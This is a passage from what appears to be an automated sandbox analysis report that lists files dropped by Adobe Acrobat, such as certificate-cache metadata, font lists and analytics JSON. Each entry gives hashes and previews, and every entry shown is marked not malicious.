Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklSgyXWEttfllXlE/HT8k3v/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKLWseT8+zNMa8RdWBwRd
MD5:	22657585A751D7DE576C64D6C33CEFFB
SHA1:	34BFF751A8DF4F7B5C3F12EA181A901CA2E0F9D8
SHA-256:	880FB11B52E238F69B3A973D8ACCCF86B70F2EFE0BEACBA12E5FF9E3C748A247
SHA-512:	BE2C2F5EB5BD1544FC710DCADD59CF3445EC7C26BC189D5B1BDFBBB9617BEA2B8CD74431F67F3369DDF3E71B6E9F82ED4D72220408E07E3E4E76ABFCB2702759
Malicious:	false
Preview:	p...... ...........r.c..(....................................................... ..........W....R...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.230795304831838
Encrypted:	false
SSDEEP:	6:kKyptL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:KDiDImsLNkPlE99SNxAhUe/3
MD5:	8BD0857DC4CF19648887D168D2EA0476
SHA1:	F0FAFC8A9CF046BF2B4ACC594221BE0A3690FAF6
SHA-256:	BF6CE4697483D6FFC494745C92CED46BB6C5B3A87B456E46466F64B6F160F33E
SHA-512:	8C5B246C13B2A9B29D096B473AFC141C5F5933D131EAA81F3526DE5B744F945B985CE00DDB76970CC41E9705CCC5DC472C536A3B0E8DF14D83CED9258108A72C
Malicious:	false
Preview:	p...... ........,....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7300

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7300

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.357886964689127
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQDUGBEUL62vB3/dVlPIHAR0Ye+PoAvJM3g98kUwPeUkwRe9:YvXKXzIlvR/ZwHAC+wGMbLUkee9
MD5:	0923AFB242D9B90505C3EE8B6BAE15C0
SHA1:	FF8A80455741582D8C3A16491767949DDC17DD0D
SHA-256:	D5EFC5F555286D5A4ABC3B4734817B203D0543B1B34B4C7A5407B12C18E39CF0
SHA-512:	7B6AA43354B51F6B575FE6625F97624770E1F8D8553B973FC896B7CAC37D36AF8CC4F05F8229185B6758B8311AB0157270F226C7CE2EDBD4C3EFF9FC12A2AC07
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.294691883853244
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQDUGBEUL62vB3/dVlPIHAR0Ye+PoAvJfBoTfXpnrPeUkwRe9:YvXKXzIlvR/ZwHAC+wGWTfXcUkee9
MD5:	646FE01A3DD313F4FE308963F885BD8C
SHA1:	5FF52ECBA29BBDF3B17D51FA73223A9CC0461A95
SHA-256:	3ABFEBCDF86E125B3E1858A59ED05E92C7D77965A3AAD3B0048625932B6CADE1
SHA-512:	C72DF3B9F4FF39F32D3560185430B899567912F16B9033E3BD8B21255132CA51212BA09FDB919FE407304D1F831E6DB169F75AADC66AD6213C691140C03F0E44
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.273889631822449
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQDUGBEUL62vB3/dVlPIHAR0Ye+PoAvJfBD2G6UpnrPeUkwRe9:YvXKXzIlvR/ZwHAC+wGR22cUkee9
MD5:	FE65103B564C729BEE53E836708C6BDE
SHA1:	28FB1DBFC1F5F7D3363834E3AB3776DAC038B3CA
SHA-256:	CC9ACD9907B397CAAFB6C64825514C171880485DF1FD8C3686EB6C8BBD628BE3
SHA-512:	01C8FBC4EBE4DEA16A9ECE2686A36DB8D6D58BEFF55835B1A023485A118B1B0406C5D462F1E2DE4311A7E9854CC7E6D107236167A49A0BCB80948B58DFCC4A38
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.334643356089578
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQDUGBEUL62vB3/dVlPIHAR0Ye+PoAvJfPmwrPeUkwRe9:YvXKXzIlvR/ZwHAC+wGH56Ukee9
MD5:	303D9E4391D6A54FC09485447D0AE2F3
SHA1:	E19341BA79B2BF9209A838D64210F8D7B0AA8DED
SHA-256:	8B8F0D9C688C011C4CEA73151C782E1CF6AC32797370170B23754DE8B4F6AA6C
SHA-512:	58757AC3FEC7A07457531212489950326DFF2A078A83C98695C3EE6905798FC35AFC7439A46C068CB8F0BEEB17CEE830B601445E3092CEC0B148D423F20731AD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.694744557874313
Encrypted:	false
SSDEEP:	24:Yv6XeJhrtpLgE9cQx8LennAvzBvkn0RCmK8czOCCSV:YvjJhrthgy6SAFv5Ah8cv/V
MD5:	25882FDE8283FB7DEC7815163FC3755E
SHA1:	B1E0797F0188FEA5B7CFFE8C1161E553AF42FD21
SHA-256:	9770AC5A7E5C5B4EEF1A4D73CEBC3E61826C1A29898F6A25CB07E5403DF6F0AF
SHA-512:	1E151E299DE6B05AC2D2B8A013527900E72D2D6150198963A56C5E0C6FDDD62991DEF87CD69B2D605574CF43E24C472F241C4D80B8BA5AEB29D232390F622B87
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.286468825210605
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQDUGBEUL62vB3/dVlPIHAR0Ye+PoAvJf8dPeUkwRe9:YvXKXzIlvR/ZwHAC+wGU8Ukee9
MD5:	AEB8E6CCFFBF3543EB7DD6E4AD488CD5
SHA1:	4986E9505DD41D226F6D4CF629B357DF9DEAF776
SHA-256:	F0039F42EFFBA122C1E85964D4B7D181901B15EAAC6E688040B1D2FD79520DE2
SHA-512:	F900BE7BEBC76C1DE27C0A1796D4E78341A66C201E3EBD820D16AB85E1F8B8FE38FDC07935FC9B2D483B9F41A3822B1F7AF0B6FF5D31148CFAAE7F99BA379AEF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.285577611166556
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQDUGBEUL62vB3/dVlPIHAR0Ye+PoAvJfQ1rPeUkwRe9:YvXKXzIlvR/ZwHAC+wGY16Ukee9
MD5:	1AB13BF20FC6220CC65E8EF1426F7690
SHA1:	07721F8B10F807EBC864ADEA35954422CB27920C
SHA-256:	CD7B4F1DF17EC6EC1D96FB5C02FB644FBE317C17AD6047783AB07F9001279EF2
SHA-512:	9BEDF358F9195B8EE2CA3E657009C6C4C6DAA8708F1E4E19ADA7B4CD7155521398C16F4103EF105032AFF363F93DDD86E52528783ABB12BBC91613C4960A4CB9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.302147059692393
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQDUGBEUL62vB3/dVlPIHAR0Ye+PoAvJfFldPeUkwRe9:YvXKXzIlvR/ZwHAC+wGz8Ukee9
MD5:	DA8FDEDDC608AD96076B79A64CFCF4C7
SHA1:	2A526D3457090DA96A24EAFAA89E17B5F36202F1
SHA-256:	329B405EAB728B2466A956546DA2897FB5BAB1ACB9F883CAFE62BCC13F28CC34
SHA-512:	4BA9B791A23BB3A154BE7B60BDCEA4B5966D26B2422B8BEEC4A00DD3924E85D23FCD84F09A52DEC4AEBF4EEC8C81230F2C53FE14991E23934DD7FB43A79922AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.313745317557444
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQDUGBEUL62vB3/dVlPIHAR0Ye+PoAvJfzdPeUkwRe9:YvXKXzIlvR/ZwHAC+wGb8Ukee9
MD5:	920372DBEE043C756A2CC070B2EE58E3
SHA1:	D8893E39C280EA7BC727C07AE9346F8FD777A457
SHA-256:	EFE2ABDF10055BF35454D411903A061CBF6D83484118FDFCC983E55A5A77E568
SHA-512:	6B71F06EFC4B5D538C86D82AA3FB9F795EC6B7A13DC13509977830A1BE100111203AFE830879014B2B3101895CEE412D287E465C16D4FBC7B271F81B6406FB7A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294549894879899
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQDUGBEUL62vB3/dVlPIHAR0Ye+PoAvJfYdPeUkwRe9:YvXKXzIlvR/ZwHAC+wGg8Ukee9
MD5:	9897E4E92A024412A19EACABE2D7C2D5
SHA1:	93DF1708D8ED83CD9C7419965D73936A25B68800
SHA-256:	62CD420E4853107941B43C5C443749885B5569CB5EFC8D0194AF17C429530197
SHA-512:	66C939DA2F90C351AA9BB343FE571E2AC046A643B236B1EB98F3E72F27B9FE822CBACA1E9FDFB608604863DA569A656B46F550CDD11F63869E847FDE6DB5B9C2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.280504315147843
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHQDUGBEUL62vB3/dVlPIHAR0Ye+PoAvJf+dPeUkwRe9:YvXKXzIlvR/ZwHAC+wG28Ukee9
MD5:	EE7092B31603FA712CC97B94E444B790
SHA1:	4C51B71B332B5922A487F04FE56E63D67FB4A542
SHA-256:	198938315E0524C01704CCDE1D9A7D6E3B97638FCFA56DA25588FDE541577B7E
SHA-512:	2BC628F8EA795365FA8DB01C690669129F3D42EAE1B0C96A6695CD2A3E9CFC222B9ADC56454351D33DA3558326498C5A05965FC1AAF8E2DDB02BE58DE7A23747
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"05f12303-5e41-47aa-b22f-52645b526a31","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736722948683,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.278134450320912
Encrypted:	false
